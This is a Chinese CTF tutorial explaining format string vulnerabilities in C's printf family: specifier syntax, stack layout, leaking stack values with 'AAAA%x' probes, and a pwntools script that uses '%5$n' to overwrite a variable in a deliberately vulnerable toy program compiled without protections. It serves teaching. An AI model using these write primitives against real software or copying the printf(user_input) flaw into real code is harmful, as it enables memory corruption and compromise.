c++字符串输入_【pwn】什么是格式化字符串漏洞?
0x00 前言
格式化字符串漏洞是在CWE[1](Common Weakness Enumeration,通用缺陷枚舉)例表中的編號為CWE-134,由于在審計過程中很容易發現該漏洞,所以此類漏洞很少出現,但是在很多CTF還存在相關的題目,比如XCTF的pwn新手練習區的 string等,通過這兩天的學習,發現還是有必要系統的歸納一下相關知識點,在這里我們以問題為導向展開學習。0x01 格式化字符串
Q1:什么是格式化字符串?
格式化字符串(format string)是一些程序設計語言在格式化輸出API函數中用于指定輸出參數的格式與相對位置的字符串參數,例如C、C++等程序設計語言的printf類函數,其中的轉換說明(conversion specification)用于把隨后對應的0個或多個函數參數轉換為相應的格式輸出;格式化字符串中轉換說明以外的其它字符原樣輸出。[2]上述內容是wiki對格式化字符串的解釋,簡單來說,格式化字符串函數可以接受可變數量的參數,并將第一個參數作為格式化字符串,根據其來解析之后的參數。[3] 比如:printf("Hello %s, Your ID is %d", name, &ID)對于格式化函數printf來說,"Hello %s, Your ID is %d"是printf函數的第一個參數,該參數被稱為格式化字符串,name是printf函數的第二個參數,&ID是printf函數的第三個參數,其中%s控制name的輸出,%d控制著&ID的輸出;對于格式化字符串 "Hello &s, Your ID is %d"來講,name是它的第一個參數,&ID是它的第二個參數;例如上圖:- printf函數第一個參數(格式化字符串)的地址為0xffffd8a0,該地址指向地址0x804a00b,位于棧頂esp;
- printf函數第二個參數的地址為0xffffd8b8,在棧中處于0xffffd8a4,esp+4;
- 第三個參數為0x2,通過棧可以看出該數值被存放在地址為0xffffd8a8,棧中為esp+8
格式化字符串函數就是將計算機內存中表示的數據轉化為我們人類可讀的字符串格式。幾乎所有的 C/C++ 程序都會利用格式化字符串函數來輸出信息,調試程序,或者處理字符串。[3]Q3:格式化字符串函數的組成是什么?
格式化字符串有著自己固定的格式,由三部分組成:
- 格式化字符串函數,比如printf函數
- 格式化字符串,比如"Hello %s, Your ID is %d"
- 后續參數(可選),比如name和&ID
%[parameter][flags][field width][.precision][length]typeparameter:n$,獲取格式化字符串中的指定參數;n是用這個格式說明符(specifier)顯示第幾個參數;這使得參數可以輸出多次,使用多個格式說明符,以不同的順序輸出。如果任意一個占位符使用了parameter,則其他所有占位符必須也使用parameter。這是POSIX擴展,不屬于ISO C。例:printf("%2$d %2$#x; %1$d %1$#x",16,17),產生"17 0x11; 16 0x10"flags:(此項省略)field width:輸出的最小寬度;Precision:通常指明輸出的最大長度,依賴于特定的格式化類型;Length:指出浮點型參數或整型參數的長度;
| hh | 對于整數類型,printf期待一個從char提升的int尺寸的整型參數。 |
| h | 對于整數類型,printf期待一個從short提升的int尺寸的整型參數。 |
| l | 對于整數類型,printf期待一個long尺寸的整型參數。對于浮點類型,printf期待一個double尺寸的整型參數。對于字符串s類型,printf期待一個wchar_t指針參數。對于字符c類型,printf期待一個wint_t型的參數 |
| ll | 對于整數類型,printf期待一個long long尺寸的整型參數。Microsoft也可以使用I64。 |
| L | 對于浮點類型,printf期待一個long double尺寸的整型參數。 |
| z | 對于整數類型,printf期待一個size_t尺寸的整型參數。 |
| j | 對于整數類型,printf期待一個intmax_t尺寸的整型參數。 |
| t | 對于整數類型,printf期待一個ptrdiff_t尺寸的整型參數。 |
type:
| d/i | 有符號十進制數值int。'%d'與'%i'對于輸出是同義;但對于scanf()輸入二者不同,其中%i在輸入值有前綴0x或0時,分別表示16進制或8進制的值。如果指定了精度,則輸出的數字不足時在左側補0。默認精度為1。精度為0且值為0,則輸出為空。 |
| u | 十進制unsigned int。如果指定了精度,則輸出的數字不足時在左側補0。默認精度為1。精度為0且值為0,則輸出為空 |
| c | 如果沒有用 l 標志,把 int 參數轉為 unsigned char 型輸出;如果用了 l 標志,把wint_t參數轉為包含兩個元素的wchart_t數組,第一個元素包含要輸出的字符,第二個元素為null寬字符 |
| o | 8 進制 unsigned int 。如果指定了精度,則輸出的數字不足時在左側補 0。默認精度為 1。精度為 0 且值為 0,則輸出為空 |
| s | 如果沒有用 l 標志,輸出 null 結尾字符串直到精度規定的上限;如果沒有指定精度,則輸出所有字節。如果用了 l 標志,則對應函數參數指向wchar_t型的數組,輸出時把每個寬字符轉化為多字節字符,相當于調用wcrtomb函數 |
| n | 不輸出字符,但是把已經成功輸出的字符個數寫入對應的整型指針參數所指的變量 |
| p | void * 型,輸出對應變量的值。printf("%p",a) 用地址的格式打印變量 a 的值;printf("%p", &a) 打印變量 a 所在的地址。 |
| x/X | 16 進制 unsigned int 。x 使用小寫字母;X 使用大寫字母。如果指定了精度,則輸出的數字不足時在左側補 0。默認精度為 1。精度為 0 且值為 0,則輸出為空 |
| % | '%'字面值,不接受任何 flags, width。 |
特別說明
這里簡單的介紹一下%n控制符,下面會用到:
%n 用于將當前字符串的長度打印到var中,例如:
//gcc str.c -m32 -o str#include int main(void){int c = 0;printf("the use of %n", &c);printf("%d\n", c);return 0;}上述結果為11,也就是the use of的長度。具體原理:當printf在輸出格式化字符串的時候,會維護一個內部指針,當printf逐步將格式化字符串的字符打印到屏幕,當遇到%的時候,printf會期望它后面跟著一個格式字符串,因此會遞增內部字符串以抓取格式控制符的輸入值。這就是問題所在,printf無法知道棧上是否放置了正確數量的變量供它操作,如果沒有足夠的變量可供操作,而指針按正常情況下遞增,就會產生越界訪問。甚至由于%n的問題,可導致任意地址讀寫。[5]Q5:常見的格式化字符串函數有哪些??[3]
| scanf | 從stdin中向特定地址中讀值 | 輸入 |
| printf | 輸出到 stdout | 輸出 |
| fprintf | 輸出到指定 FILE 流 | 輸出 |
| vprintf | 根據參數列表格式化輸出到 stdout | 輸出 |
| vfprintf | 根據參數列表格式化輸出到指定 FILE 流 | 輸出 |
| sprintf | 輸出到字符串 | 輸出 |
| snprintf | 輸出指定字節數到字符串 | 輸出 |
| vsprintf | 根據參數列表格式化輸出到字符串 | 輸出 |
| vsnprintf | 根據參數列表格式化輸出指定字節到字符串 | 輸出 |
| setproctitle | 設置 argv | 輸出 |
| syslog | 輸出日志 | 輸出 |
| err, verr, warn, vwarn 等 | …… | 輸出 |
0x02 格式化字符串漏洞原理
在Q1中我們已經介紹了什么是格式化字符串,并且用例子也進一步說明,那么現在主要介紹一下格式化字符漏洞原理:格式化字符串函數是根據格式化字符串函數來進行解析的。那么相應的要被解析的參數的個數也自然是由這個格式化字符串所控制,所以當prinf函數沒有格式化字符串時,我們可以通過輸入控制字符來泄露內存信息,用下面的代碼為例:正常應該這樣寫:
// code1# includeint main(){ ? ? ? ? ? ?int a = 6,b=20; ? ?char c[20]; ? ?printf("%p\n", &a); ? ?scanf("%s",c); ? ?printf("%s\n",c); ? ?if(a = 8) ? ? ? ?printf("Success"); ? ?else ? ? ? ?printf("Fail");}正常結果為
Hello World!Fail由于開發者的粗心或者偷懶,將上述代碼寫成如下所示:
// code2# includeint main(){ ? ? ? ? ? ?int a = 6,b=20; ? ?char c[20]; ? ?printf("%p\n", &a); ? ?scanf("%s",c); ? ?printf(c); ? ?if(a == 8) ? ? ? ?printf("Success"); ? ?else ? ? ? ?printf("Fail");}有一位大佬執行該程序后,輸出的結果卻是:
\xd8\x16\xfa\xffaaaaSuccess我們就以這個簡單的例子入手,來梳理和講解格式化字符串漏洞原理。
Q1:printf("%s",c);和printf(c);有什么區別?
??????這里主要看stack中的情況,其中左邊的是printf("%s",c);語句,右邊是printf(c);語句,從code中可以看出 printf 函數的arg[0](格式化字符串)的地址并不一樣,但是從 stack 中可以看到 esp 的地址,也就是兩種情況格式化字符串在棧中的存儲地址都是0xffffd8a0,由此可以看出
printf("%s",c);的格式化字符串為%s
printf(c);的格式化字符串為我們輸入的AAAA%x.%x.%x.%x.%x.%x.%x,在這里我們可以把printf(c);當作printf("AAAA%x.%x.%x.%x.%x.%x.%x");后續參數被省略掉,也就是說格式化字符串要打印的參數有7個,所以從格式化字符串的地址依次+4,則打印的參數地址為esp+0x4、esp+0x8、esp+0xc、esp+0x10、esp+0x14、esp+0x18、esp+1c,那么對于上圖中的例子,輸出的結果為:
???????上述結果分別對應:
| esp | 格式化字符串 | 1 | 0xffffd8a0 --> 0xffffd8b4 | AAAA |
| esp+0x4 | 1 | 2 | 0xffffd8a4 --> 0xffffd8b4 | ffffd8b |
| esp+0x8 | 2 | 3 | 0xffffd8a8 --> 0x0 | 0 |
| esp+0xc | 3 | 4 | 0xffffd8ac --> 0x8049189 | 8049189 |
| esp+0x10 | 4 | 5 | 0xffffd8b0 --> 0xf7fb33fc | f7fb33fc |
| esp+0x14 | 5 | 6 | 0xffffd8b4 ("AAAA") | 41414141 |
| esp+0x18 | 6 | 7 | 0xffffd8b8 ("%x.%") | 252e7825 |
| esp+0x1c | 7 | 8 | 0xffffd8bc ("x.%x") | 78252e78 |
Q2:為什么要輸入AAAA%x.%x.%x.%x.%x.%x.%x?
在了解為什么要輸入這個字符串之前,我們先來看看在運行程序時,局部變量存儲的位置,這里就要清楚運行時棧的情況,如下圖:從上圖可以看出,局部變量被存儲在棧中(這里要說明的是全局變量被存儲在.data段中),這里還是用code2的代碼作為例子,看看main函數中變量 a、b 和 c 存放的位置,通過gdb進行調試,首先來確定變量 a 和 b 的位置,如下圖:下面我們再來尋找 c 的位置,如下圖:從上圖中得信息可以得出局部變量 a、b 和 c 在棧中的情況,如下圖:printf("%s",c); + 輸入:AAAAAAAAAAAAAAAAAAAA下面我們先來看看如果遇到正常的輸出printf("%s",c);,看看棧中的情況(輸入字符串“AAAAAAAAAAAAAAAAAAAA”的前提下)如下圖:輸出結果為AAAAAAAAAAAAAAAAAAAA。從上圖和結果可以看到esp處的是格式化字符串,里面只有一個控制字符%s,所以格式化字符串只有一參數,位于esp+0x4 處,那么輸出的結果就是esp+4指向地址所對應的值AAAAAAAAAAAAAAAAAAAA。注:這里有一點需要注意,任意的內存的讀取需要用到格式化字符串 %s,其對應的參量是一個指向字符串首地址的指針,作用是輸出這個字符串。[4]printf(c); + 輸入:AAAAAAAAAAAAAAAAAAAA下面我們先來看看如果遇到printf(c);,看看棧中的情況(輸入字符串“AAAAAAAAAAAAAAAAAAAA”的前提下)如下圖:輸出結果為AAAAAAAAAAAAAAAAAAAA,雖然這里也是輸出20個重復的A,但是和上面的情況完全不一樣,這里是因為格式化字符串中沒有控制符,所以只將格式化字符串輸出,這里一定要分清。那再想一想,因為格式化字符串是我們的輸入,如果我們在輸入中加入控制符,比如%x、%p、%n等,那么我們是不是就可以泄露棧上的信息呢?不懂的話下面來一個例子,也就回到了我們這個小問題上為什么要輸入AAAA%x.%x.%x.%x.%x.%x.%x?首先來簡單的分析一下:- 因為我們輸入的是 c 的值,c 是局部變量,所以輸入的內容被分配在棧上
- 因為printf(c);函數中沒有格式化字符串,只有一個參數 s,所以printf把s地址中的內容當作第一個參數,也就是printf函數的格式化字符串
- 因為我們的輸入含有7個控制符%x,所以相當于printf函數的有7個格式化字符串參數(注意是格式化字符串參數,不是函數參數),所以我們可以將后面7個連續地址都打印出來
- 因為我們能控制的只有 c 的輸入,所以我們可以通過AAAA%x.%x.%x.%x.%x.%x.%x來查找 c 的起始地址(也可以說成參數偏移),從而可以進一步利用我們的輸入來改相應的值
Q3:利用格式化字符串漏洞能做什么?[3]
??????通過對格式化字符串漏洞的利用,可以實現如下功能:
程序崩潰
泄露內存
獲取棧變量數值
獲取棧變量對應字符串
泄露棧內存
泄露任意地址內存
覆蓋內存
覆蓋小數字
覆蓋大數字
覆蓋棧內存
覆蓋棧內存
進行覆蓋
覆蓋棧內存
覆蓋任意地址內存
0x03 例題探析
這里還是以code2中的代碼為例:
// code2# include
int main(){
int a = 6,b=20;
char c[20];
printf("%p\n", &a);
scanf("%s",c);
printf(c); // 存在格式化字符串漏洞
if(a == 8)
printf("Success\n");
else
printf("Fail\n");
printf("%d",a);
}
① 編譯
??????為了簡單的進行格式化字符串漏洞,在編譯時將保護關閉掉:
gcc -m32 -fno-stack-protector -no-pie -o format_string format_string.c② 確定數組 c 在棧中相對于格式化字符參數序列
??????為了確定數組 c 是格式化字符串的參數個數,這里需要通過我們的輸入進行泄露,運行程序,并且輸入:AAAA%x.%x.%x.%x.%x.%x.%x,查看運行結果:
AAAAff920694.0.8049189.f7f0c3fc.41414141.252e7825.78252e78Fail??????因為“AAAA“的十六進制為”41414141“,所以我們可以判斷數組 c 是格式化字符串的第 5 個參數,是printf函數的第 6 個參數,如圖:
根據上圖,我們簡單的來畫一下此時棧中的示意圖:
③ 改變變量 a 的值
??????由于目前幾乎上所有的程序都開啟了 aslr 保護,所以棧的地址一直在變,所以我們這里故意輸出了 c 變量的地址。[3]在這里我們想一想怎么才能改變 c 的值呢?讓我們一步一步的深入研究:
1) ?我們已經知道了棧中的情況,以及變量 c 相對于格式化字符串的參數序列(第5個參數),而且我們能控制的輸入只有 c,所以我們要想辦法要通過對 c 的輸入,向 a 地址寫入我們想要輸入的值
2) ?如何實現這一目標呢?這里需要用到一個控制字符 %n 和 %length$x
%n:不輸出字符,但是把已經成功輸出的字符個數寫入對應的整型指針參數所指的變量;
%n$x:可以直接獲取棧中被視為printf函數第 n+1 個參數的值
??????我們已經確定了數組 c 的地址位置相當于格式化字符串的第 5 個參數,所以我們要在數組 c 的首地址寫入 a 的地址,然后使用%5$n 向該地址寫入 8,由于 a 的地址長度為 4,所以我們只需要在 %5$n 前面填充 4 個字符,這樣輸出的字符串長度為 8,那么 %5$n 就會將 8 賦值給格式化字符串的第 5 個參數所指向的地址,也可以將此構造(不唯一)格式進行統一:
[address][padding][%len$n]??????根據上述分析,我們可以構造如下payload:a_addr + "aaaa" + "%5$n",則完整的 exp 如下:
from pwn import *sh = process("./printf_test2")
a_addr = int(sh.recvuntil("\n",drop=True),16)
payload = str(p32(a_addr),encoding="unicode_escape") + "aaaa" + "%5$n"
sh.sendline(payload)
print("[+] result is:",sh.recvuntil("\n"))
print("[+] a_value is:",str(sh.recv(),encoding="unicode_escape"))
sh.interactive()
??????輸出結果如下:
root@kali:~/Documents/CTF/PWN/Test# python3 printf_test2_exp.py[+] Starting local process './printf_test2': pid 2187
[+] result is: b'\xa8\xaa\x9f\xffaaaaSuccess\n'
[+] a_value is: 8
[*] Switching to interactive mode
[*] Process './printf_test2' stopped with exit code 0 (pid 2187)
[*] Got EOF while reading in interactive
$
從上述結果中的“success”,以及 a 的值中可以分析出,我們已經成功的將 a 的值改為了 8,這個時候棧中的情況如下示意圖:
這里要注意:
??????我們不能直接在命令行輸入 \xa8\xaa\x9f\xffaaaa%5$n 這是因為雖然前面的確實是 a 的地址,但是,scanf 函數并不會將其識別為對應的字符串,而是會將 \、x、a、8,所以要用pwntool工具。
0x04 References
[1] CWE和CVE及其關系
[2] 格式化字符串
[3] 格式化字符串漏洞原理介紹
[4] 格式化字符串漏洞原理詳解
[5] 詳談Format String(格式化字符串)漏洞
總結
以上是生活随笔為你收集整理的c++字符串输入_【pwn】什么是格式化字符串漏洞?的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: .net core 发起web请求_温故
- 下一篇: 与数学实验第二版艾冬梅_吉林省实验繁荣新